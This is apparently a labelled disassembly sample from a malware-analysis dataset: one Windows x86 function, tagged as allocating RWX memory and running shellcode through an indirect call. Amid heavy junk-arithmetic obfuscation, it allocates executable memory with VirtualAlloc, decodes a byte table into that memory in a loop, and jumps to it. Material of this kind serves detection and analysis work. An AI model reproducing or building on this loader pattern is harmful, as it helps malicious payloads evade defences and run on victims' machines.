Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
push ebx
push esi
cmp dword [0x411010], 0x45
jle 0x4015fd
movzx eax, word [ebp - 0x20c]
add eax, dword [0x411024]
movzx ecx, byte [ebp - 0xe]
sub eax, ecx
mov dword [ebp - 0xb4], eax
movzx edx, word [ebp - 0x298]
mov dword [0x411020], edx
mov eax, dword [ebp - 0x1c8]
sub eax, 0x19
sub eax, dword [ebp - 0x1c0]
sub eax, dword [ebp - 0x1bc]
mov byte [ebp - 0x13a], al
mov ecx, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1e8]
lea eax, [edx + ecx + 0x44]
mov word [ebp - 0xb8], ax
mov ecx, dword [ebp - 0x210]
push ecx
push 0x4a
call dword [sym.imp.KERNEL32.dll_GetCommMask]
sub eax, dword [ebp - 0xa8]
mov dword [ebp - 0x1c4], eax
movzx edx, byte [ebp - 0x99]
mov eax, dword [ebp - 0xbc]
sub eax, edx
xor eax, 0x2a
movzx ecx, byte [ebp - 0x11a]
add ecx, dword [ebp - 0x1e8]
xor eax, ecx
mov byte [ebp - 0x26], al
mov dword [ebp - 0x94], 0x40
movzx edx, byte [ebp - 0xf5]
add edx, dword [ebp - 0xa4]
mov dword [ebp - 0x1c0], edx
mov eax, 0x64
sub eax, dword [ebp - 0xf4]
movzx ecx, word [ebp - 0x298]
add eax, ecx
mov dword [ebp - 0xf4], eax
mov edx, dword [ebp - 0xa8]
add edx, 0x76
mov dword [ebp - 0x294], edx
movzx eax, byte [ebp - 0x214]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x268], 0x22
mov ecx, dword [ebp - 0x1c4]
add ecx, 0x46
xor ecx, dword [ebp - 0x1c4]
or ecx, 0x2c
mov word [ebp - 0x1b8], cx
movzx edx, byte [ebp - 0x2a5]
add edx, dword [ebp - 0x100]
add edx, dword [ebp - 0x210]
movzx eax, byte [ebp - 0x13a]
sub edx, eax
sub edx, 0x2c
mov byte [ebp - 0x25], dl
mov dword [ebp - 0x214], 0x3c
mov ecx, dword [ebp - 0x210]
add ecx, 0x3a
sub ecx, dword [ebp - 0x1c8]
movzx edx, word [ebp - 0xec]
add edx, 0x63
xor ecx, edx
mov byte [ebp - 0x11a], cl
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x1c0], eax
movzx ecx, byte [ebp - 0x2a5]
movzx edx, word [ebp - 0xc8]
and edx, 0x3f
movzx eax, word [ebp - 0xec]
xor edx, eax
movzx eax, word [ebp - 0x298]
xor edx, eax
or ecx, edx
mov byte [ebp - 0xe], cl
movzx ecx, word [ebp - 0xb8]
or ecx, 0xe
mov dword [ebp - 0x1c4], ecx
movzx edx, word [ebp - 0x28c]
add edx, dword [0x411054]
mov dword [0x411054], edx
mov eax, dword [ebp - 0x1bf]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x1c0], 0x10
push 0x40
push 0x1000
push 0x1388
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add ebx, edx
mov ecx, dword [0x411004]
cmp ecx, eax
je 0x4017cd
xor ecx, ecx
mov ebx, eax
xor eax, eax
mov al, 0xff
sub ecx, 0x20
mov dword [ebp - 0x1cc], ebx
movzx ecx, word [ebp - 0x24]
add ecx, dword [ebp - 0x210]
mov dword [ebp - 0x1e0], ecx
movzx edx, byte [ebp - 0x2a5]
add edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0xf4]
lea ecx, [eax + edx - 0x57]
movzx edx, byte [ebp - 0x26]
sub ecx, edx
mov byte [ebp - 0x1e9], cl
mov dword [ebp - 0x104], 0x21
mov dword [ebp - 0x100], 0x39
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0x210]
sub eax, 0x30
movzx ecx, byte [ebp - 0x11a]
sub eax, ecx
mov word [ebp - 0x98], ax
mov edx, dword [ebp - 0x214]
cmp edx, dword [0x411010]
jge 0x4018b1
mov eax, dword [ebp - 0x1e0]
push eax
mov ecx, dword [ebp - 0x2ac]
push ecx
mov edx, dword [ebp - 0x100]
push edx
mov eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
call fcn.00401530
add esp, 0x14
sub eax, dword [ebp - 0x1c0]
add eax, dword [ebp - 0x1c8]
sub eax, dword [ebp - 0x134]
xor eax, 0x58
mov byte [ebp - 0x13a], al
movzx edx, word [ebp - 0xe8]
mov eax, dword [ebp - 0x94]
lea ecx, [eax + edx + 0x5f]
sub ecx, dword [ebp - 0x1bc]
mov word [ebp - 0x20], cx
mov dword [ebp - 0x1e0], 0x2e
mov edx, dword [0x467f00]
mov al, 0xff
cmp dl, al
jne 0x4018cc
jmp 0x401991
mov dword [ebp - 0xb0], 0xffffffc4
movzx edx, word [ebp - 0x114]
sub edx, 0x34
mov byte [ebp - 0xed], dl
movzx eax, byte [ebp - 0xe]
sub eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x210], eax
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x2ac], ecx
mov edx, dword [ebp - 0x1bc]
mov dword [ebp - 0x25c], edx
movzx eax, word [ebp - 0xb8]
movzx ecx, byte [ebp - 0x139]
sub eax, ecx
sub eax, dword [ebp - 0x210]
sub eax, dword [ebp - 0x210]
add eax, 0x50
mov byte [ebp - 0x2a5], al
mov dword [ebp - 0x104], 0
mov edx, dword [ebp - 0xa8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
mov edx, dword [ebp - 0x100]
push edx
call fcn.004020c0
add esp, 0x10
add eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1c0], eax
mov eax, 0x59
mov word [ebp - 0x114], ax
mov ecx, dword [ebp - 0x210]
mov dword [ebp - 0x210], ecx
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0xa0], 0
movzx eax, word [ebp - 0xe8]
add eax, 0xad
mov word [ebp - 0x24], ax
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x100], edx
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x100]
add ecx, 0x3f
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0xa0], 0
movzx edx, word [ebp - 0x130]
add edx, 0x4a
mov eax, dword [0x411050]
sub eax, edx
mov dword [0x411050], eax
mov ecx, dword [ebp - 0x1c4]
sub ecx, 0x12
mov dword [ebp - 0xa8], ecx
movzx edx, byte [ebp - 0xe]
movzx eax, word [ebp - 0x118]
add edx, eax
xor edx, dword [ebp - 0x1e0]
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 0x94]
sub ecx, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0xb0]
lea eax, [ecx + edx - 3]
mov byte [ebp - 0xf5], al
mov dword [ebp - 0x274], 0x34
movzx ecx, word [ebp - 0x29c]
sub ecx, dword [ebp - 0x100]
and ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x134], ecx
movzx edx, byte [ebp - 0x2a5]
sub edx, 0x2e
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x2ac], eax
mov ecx, 0x3c
mov word [ebp - 0xa8], cx
mov edx, dword [ebp - 0x2ac]
mov dword [ebp - 0x258], edx
mov eax, dword [ebp - 0x1c0]
add eax, 0x5f
sub eax, dword [ebp - 0xb0]
add eax, 0x62
mov word [ebp - 0xb8], ax
mov byte [ebp - 0x1d9], 0x7f
mov ecx, dword [ebp - 0x210]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0xe0]
lea ecx, [eax + edx - 7]
mov edx, dword [ebp - 0x100]
add edx, 0x19
or ecx, edx
mov byte [ebp - 0x1e9], cl
mov eax, dword [ebp - 0x100]
add eax, 0x6f
mov byte [ebp - 0xe], al
movzx ecx, byte [ebp - 0x2a5]
and ecx, 0x72
mov dword [ebp - 0x134], ecx
movzx edx, byte [ebp - 0xc9]
sub edx, 0x5d
movzx eax, byte [ebp - 0x119]
add eax, dword [ebp - 0x1bc]
or edx, eax
mov word [ebp - 0x118], dx
movzx ecx, word [ebp - 0x1bc]
mov dword [ebp - 0xfc], ecx
movzx edx, byte [ebp - 0xc9]
movzx eax, byte [ebp - 0x11a]
sub edx, eax
sub edx, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1bc]
sub ecx, 0x44
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xa8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
mov edx, dword [ebp - 0x100]
push edx
call fcn.004020c0
add esp, 0x10
add eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1c0], eax
mov eax, 0x59
mov word [ebp - 0x114], ax
mov ecx, dword [ebp - 0x210]
mov dword [ebp - 0x210], ecx
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0xfc], edx
mov eax, dword [0x411030]
sub eax, 0x14
mov dword [0x411030], eax
mov dword [ebp - 0x188], 0x23
mov ecx, 0x55
sub ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0xfc], ecx
movzx edx, word [ebp - 0x1d8]
mov eax, 2
sub eax, edx
add eax, 0x10
mov byte [ebp - 0xed], al
movzx ecx, word [ebp - 0xb8]
mov edx, dword [ebp - 0xa4]
and edx, 0x61
or ecx, edx
mov dword [ebp - 0xe0], ecx
cmp dword [ebp - 0x104], 0x1e
jle 0x401cf9
movzx eax, word [ebp - 0x1d0]
movzx ecx, word [ebp - 0x28c]
add ecx, eax
mov word [ebp - 0x28c], cx
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x1c8]
lea ecx, [eax + edx + 0xc0]
mov byte [ebp - 0x1d9], cl
mov ebx, dword [ebp - 0xa0]
add ebx, 1
xor ebx, dword [0x414ee0]
mov edx, dword [ebp - 0xa0]
add edx, 1
sub edx, dword [0x414ee0]
xor ebx, edx
mov eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
mov eax, dword [ebp - 0x100]
push eax
call fcn.004020c0
add esp, 0x10
add ebx, eax
mov ecx, dword [ebp - 0xa0]
add ebx, dword [ecx*4 + 0x411068]
mov edx, dword [ebp - 0xa8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
mov edx, dword [ebp - 0x100]
push edx
call fcn.004020c0
add esp, 0x10
sub ebx, eax
mov eax, dword [ebp - 0x1cc]
add eax, dword [ebp - 0xa0]
mov byte [eax], bl
movzx ecx, word [ebp - 0x114]
mov edx, 0x56
sub edx, ecx
add edx, dword [ebp - 0xa4]
mov dword [ebp - 0x294], edx
mov eax, 0xa
mov word [ebp - 0x284], ax
movzx ecx, byte [ebp - 0x1d9]
add ecx, 0x5d
sub ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0x100]
add edx, 0xe
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x180], eax
movzx ecx, word [ebp - 0xec]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xa0]
add edx, 1
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x1bc], 0x50
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa0]
cmp ecx, dword [0x411064]
jne 0x401a0a
mov dword [ebp - 0x100], 0x3a
mov edx, dword [ebp - 0x2ac]
mov dword [ebp - 0x268], edx
movzx eax, byte [ebp - 0x13a]
movzx ecx, byte [ebp - 0x26]
lea edx, [eax + ecx - 0x25]
mov dword [ebp - 0x1c], edx
movzx eax, word [ebp - 0x20]
add eax, dword [ebp - 0x1c0]
xor eax, 0x1f
mov dword [ebp - 0x1e8], eax
movzx ecx, byte [ebp - 0xc9]
sub ecx, 0x1c
mov byte [ebp - 0xc9], cl
mov edx, dword [ebp - 0xa8]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x210]
lea edx, [ecx + eax + 0x4a]
movzx eax, word [ebp - 0xe4]
sub edx, eax
or edx, 0x20
mov byte [ebp - 0x25], dl
movzx ecx, word [ebp - 0xd8]
add ecx, dword [str._r_6WY]
mov dword [str._r_6WY], ecx
mov byte [ebp - 0xbc], 0x19
movzx edx, word [ebp - 0x138]
mov dword [ebp - 0xbc], edx
jmp 0x401e0f
mov eax, ebx
jmp 0x401e02
call eax
mov edx, 0x10
push ebx
mov eax, dword [ebp - 0x1cc]
jmp 0x401dfb
mov ebx, dword [ebp + 8]
jmp 0x401df4